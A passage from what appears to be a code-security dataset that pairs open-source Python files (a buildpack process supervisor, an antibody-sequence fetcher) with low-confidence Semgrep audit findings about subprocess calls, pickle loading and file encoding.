"fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d0fb57e9cce55d08.py", "start": {"line": 116, "col": 9, "offset": 3906}, "end": {"line": 123, "col": 10, "offset": 4084}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d0fb57e9cce55d08_c1d4654e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 125, "line_end": 132, "column_start": 9, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d0fb57e9cce55d08.py", "start": {"line": 125, "col": 9, "offset": 4094}, "end": {"line": 132, "col": 10, "offset": 4265}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d0fb57e9cce55d08_033ae70f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 134, "line_end": 141, "column_start": 9, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d0fb57e9cce55d08.py", "start": {"line": 134, "col": 9, "offset": 4275}, "end": {"line": 141, "col": 10, "offset": 4448}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d0fb57e9cce55d08_e3419da4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 143, "line_end": 143, "column_start": 9, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d0fb57e9cce55d08.py", "start": {"line": 143, "col": 9, "offset": 4458}, "end": {"line": 143, "col": 70, "offset": 4519}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d0fb57e9cce55d08_11bf9269", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 148, "line_end": 155, "column_start": 9, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d0fb57e9cce55d08.py", "start": {"line": 148, "col": 9, "offset": 4617}, "end": {"line": 155, "col": 10, "offset": 4790}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d0fb57e9cce55d08_79c3ff08", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 156, "line_end": 163, "column_start": 9, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d0fb57e9cce55d08.py", "start": {"line": 156, "col": 9, "offset": 4799}, "end": {"line": 163, "col": 10, "offset": 4970}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
7
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-c...
[ "security", "security", "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 107, 116, 125, 134, 143, 148, 156 ]
[ 114, 123, 132, 141, 143, 155, 163 ]
[ 13, 9, 9, 9, 9, 9, 9 ]
[ 14, 10, 10, 10, 70, 10, 10 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found dynamic conte...
[ 7.5, 7.5, 7.5, 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
model_setup.py
/src/models/model_setup.py
sdat2/seager19
MIT
2024-11-18T21:23:17.011783+00:00
1,612,197,127,000
77bcb5cecf19ce544f76449f0d39f16d3dd66bde
3
{ "blob_id": "77bcb5cecf19ce544f76449f0d39f16d3dd66bde", "branch_name": "refs/heads/master", "committer_date": 1612197127000, "content_id": "a3f93480522d71a59495272a2d4ff4236027859e", "detected_licenses": [ "Apache-2.0" ], "directory_id": "5f3990627180d3066c8fdfa1ca300e7f04bcd930", "extension": "py", "filename": "process_supervisor.py", "fork_events_count": 5, "gha_created_at": 1529864239000, "gha_event_created_at": 1612188235000, "gha_language": "Python", "gha_license_id": "Apache-2.0", "github_id": 138505160, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1759, "license": "Apache-2.0", "license_type": "permissive", "path": "/buildpack/databroker/process_supervisor.py", "provenance": "stack-edu-0054.json.gz:588290", "repo_name": "MXClyde/cf-mendix-buildpack", "revision_date": 1612197127000, "revision_id": "f53f4f9030b0ad87ac9b68e5a4251621d731ea1e", "snapshot_id": "23e0816890f453540825a96cd9dd189df70b9fec", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/MXClyde/cf-mendix-buildpack/f53f4f9030b0ad87ac9b68e5a4251621d731ea1e/buildpack/databroker/process_supervisor.py", "visit_date": "2023-07-25T14:26:22.226576" }
2.765625
stackv2
import subprocess import logging class DataBrokerProcess: def __init__(self, name, cmd, env): self.name = name self.cmd = cmd self.env = env self.__start() def __start(self): logging.debug("Starting process {}".format(self.name)) self.__process_handle = subprocess.Popen(self.cmd, env=self.env) logging.debug( "Started process {} via command {}. Process Id: {}".format( self.name, self.cmd, self.__process_handle.pid ) ) def stop(self, timeout=30): logging.debug("Stopping process {}".format(self.name)) try: self.__process_handle.terminate() self.__process_handle.wait(timeout=timeout) except ProcessLookupError: logging.debug("{} is already terminated".format(self.name)) except subprocess.TimeoutExpired: logging.warn( "Timed out while waiting for process {} to terminate. Initiating kill".format( self.name ) ) self.__process_handle.kill() except ProcessLookupError: logging.debug("{} is already terminated".format(self.name)) except Exception as ex: logging.error( "Stop failed for {} process due to error {}".format( self.name, ex ) ) def kill(self): logging.debug("Killing process {}".format(self.name)) self.__process_handle.kill() def is_alive(self): if self.__process_handle.poll() is None: return True return False def restart(self): if self.is_alive(): self.kill() self.__start()
56
30.41
94
15
337
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_fbe4537a24b66b18_b5d0d928", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 33, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/fbe4537a24b66b18.py", "start": {"line": 14, "col": 33, "offset": 313}, "end": {"line": 14, "col": 73, "offset": 353}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 14 ]
[ 14 ]
[ 33 ]
[ 73 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
process_supervisor.py
/buildpack/databroker/process_supervisor.py
MXClyde/cf-mendix-buildpack
Apache-2.0
2024-11-18T21:23:17.607702+00:00
1,586,568,914,000
c11cda2cd520efe9bd9d737dbfc3a4d648218c4c
2
{ "blob_id": "c11cda2cd520efe9bd9d737dbfc3a4d648218c4c", "branch_name": "refs/heads/master", "committer_date": 1586568914000, "content_id": "320f62bce6469373a8100f1b9cb4e00495294b4d", "detected_licenses": [ "MIT" ], "directory_id": "57be05de5ee7af6f31aac79dd7b946a8a53b9dce", "extension": "py", "filename": "SAbDab.py", "fork_events_count": 0, "gha_created_at": 1586552458000, "gha_event_created_at": 1586552458000, "gha_language": null, "gha_license_id": "MIT", "github_id": 254735501, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2077, "license": "MIT", "license_type": "permissive", "path": "/code/DataManagement/SAbDab.py", "provenance": "stack-edu-0054.json.gz:588298", "repo_name": "Eitan177/StructuralMapping", "revision_date": 1586568914000, "revision_id": "c20ce43de2698902d606b718c9a9fdf2296b0a52", "snapshot_id": "49156ea02bcfc01e719b737dd6067c7d705d9b00", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/Eitan177/StructuralMapping/c20ce43de2698902d606b718c9a9fdf2296b0a52/code/DataManagement/SAbDab.py", "visit_date": "2022-04-14T18:46:42.726993" }
2.453125
stackv2
import pprint from Common.Common import numbered_datasets_location import os from os.path import join from os import listdir import pickle import json #################### ##Sequence Retrieval #################### #Everything is one level in relation to root. #numbered_datasets_location = numbered_datasets_location #For now this is a dummy before a suitable API is available. def fetch_sabdab_seqs(): print "[SABDAB.py] Fetching sequences" from ABDB import database structures = [] antigen_map = {} for pdb in database: pdb_details = database.fetch(pdb) # get the details of a pdb in the database method = pdb_details.get_method() for fab_details in pdb_details.get_fabs(): antigen_details = fab_details.get_antigen() # get the details of the antigen the fab is bound to if antigen_details != None: antigen_map[pdb] = antigen_details.get_antigen_name() #Only X-Ray. if method!= 'X-RAY DIFFRACTION': continue #Only resolution better than 3.0A resolution = pdb_details.get_resolution() if float(resolution)>3.0: continue raw_seqs = pdb_details.get_raw_sequences() single_fab = {'pdb':pdb,'pdb-h':None,'pdb-l':None,'H':None,'L':None} for fab_details in pdb_details.get_fabs(): if fab_details.VH!='NA': single_fab['pdb-h'] = fab_details.VH single_fab['H'] = raw_seqs[fab_details.VH] if fab_details.VL!='NA': single_fab['pdb-l'] = fab_details.VL single_fab['L'] = raw_seqs[fab_details.VL] structures.append(single_fab) jsonified = json.dumps(antigen_map) #Write to data dir f = open('../../data/antigenmap.json','w') f.write(jsonified) f.close() return structures #This can be loaded in whole. def structural_reference(): source = join(numbered_datasets_location,'sabdab') all_strucs = {} for chunk in listdir(source): print "Loading Structures chunk",chunk d = pickle.load(open(join(source,chunk))) for pdb in d: all_strucs[pdb] = d[pdb] return all_strucs if __name__ == '__main__': strucs = fetch_sabdab_seqs() print "Got",len(strucs) #pprint.pprint(strucs)
77
25.97
99
14
562
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_69c5713f96283e42_c6985e31", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 56, "line_end": 56, "column_start": 6, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/69c5713f96283e42.py", "start": {"line": 56, "col": 6, "offset": 1570}, "end": {"line": 56, "col": 44, "offset": 1608}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_69c5713f96283e42_70b550a8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 68, "line_end": 68, "column_start": 7, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/69c5713f96283e42.py", "start": {"line": 68, "col": 7, "offset": 1866}, "end": {"line": 68, "col": 44, "offset": 1903}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_69c5713f96283e42_318d309d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 68, "line_end": 68, "column_start": 19, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/69c5713f96283e42.py", "start": {"line": 68, "col": 19, "offset": 1878}, "end": {"line": 68, "col": 43, "offset": 1902}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 68 ]
[ 68 ]
[ 7 ]
[ 44 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
SAbDab.py
/code/DataManagement/SAbDab.py
Eitan177/StructuralMapping
MIT
2024-11-18T21:51:03.862599+00:00
1,522,727,762,000
0480e2991777a58f6edd1c58362c8c1c642251e5
3
{ "blob_id": "0480e2991777a58f6edd1c58362c8c1c642251e5", "branch_name": "refs/heads/master", "committer_date": 1522727762000, "content_id": "4bdb5338d7f4dab2b5cf00f955422ee7aa3dcf92", "detected_licenses": [ "Apache-2.0" ], "directory_id": "20a649187d68c90e196ec9be9079948007325d8f", "extension": "py", "filename": "LogicalToolHandler.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 123073926, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2017, "license": "Apache-2.0", "license_type": "permissive", "path": "/libla/LogicalToolHandler.py", "provenance": "stack-edu-0054.json.gz:588349", "repo_name": "forensicmatt/LogicalAvacado", "revision_date": 1522727762000, "revision_id": "4cb2ce5aa70b1a95ad224af831cda9bad2d34029", "snapshot_id": "d2e64c5c2021fb18165e1f3cfe47d0691b02b4cf", "src_encoding": "UTF-8", "star_events_count": 2, "url": "https://raw.githubusercontent.com/forensicmatt/LogicalAvacado/4cb2ce5aa70b1a95ad224af831cda9bad2d34029/libla/LogicalToolHandler.py", "visit_date": "2021-01-24T11:05:14.034427" }
2.609375
stackv2
